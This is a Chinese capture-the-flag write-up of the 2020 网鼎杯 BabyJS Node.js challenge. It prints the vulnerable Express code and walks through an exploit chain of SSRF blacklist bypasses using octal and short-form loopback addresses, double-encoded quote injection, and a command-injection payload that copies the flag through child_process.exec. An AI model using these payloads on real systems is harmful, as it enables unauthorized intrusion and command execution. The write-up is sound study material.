[网鼎杯 2020 半决赛]BabyJS

nodejs题:

经典进去就是黑屏加{}(牢json数据了)

image-20241120205004537

有源码(关键的就是这个地方):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
res.json({});
});

router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});


router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});

module.exports = router;

有bug的地方就是这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});

POST方法里的url传参,有个黑名单绕过,以及引号和双引号的替换

先用ssrf的绕过方法:https://www.secpulse.com/archives/65832.html

通过构造json数据:

1
2
{"url":"http://0177.0.0.1:3000/debug?url="}
{"url":"http://127.1:3000/debug?url="}

下一步是闭合引号,这就和 nodejs 的 url 库的具体实现相关了。因此我们想到了进行二次编码绕过,因为web服务器会先解一次码

但是这就需要有二次解码的地方,就需要知道 nodejs 二次解码的地方:

1
https://github.com/nodejs/node/blob/master/lib/url.js

image-20241120211106462

意思是在@之前的都会二次编码:所以可以构造如下payload即可闭合引号:

1
2
{"url":"http://0177.0.0.1:3000/debug?url=http://%2527@xx"}
{"url":"http://127.1:3000/debug?url=http://%2527@xx"}

最后我们就想把 flag 传入 /tmp/log 中,直接使用 cp 命令即可:

1
2
3
4
5
6
// 二次编码
{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

{"url":"http://127.1:3000/debug?url=http://%2527;cp$IFS/flag$IFS/tmp/log%00"}
// 特殊编码 => %EF%BC%87解码为'
{"url":"http://127.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%00"}

%00 是为了截取后面代码

至于为什么会直接显示:

1
res.json({data:fs.readFileSync('/tmp/log').toString()});

这个读取/tmp/log的东西输出,将存贮的flag吐出来了

image-20241120211230243

参考链接:

https://blog.csdn.net/woshilnp/article/details/120275525

https://tyskill.github.io/posts/buuoj_21_1/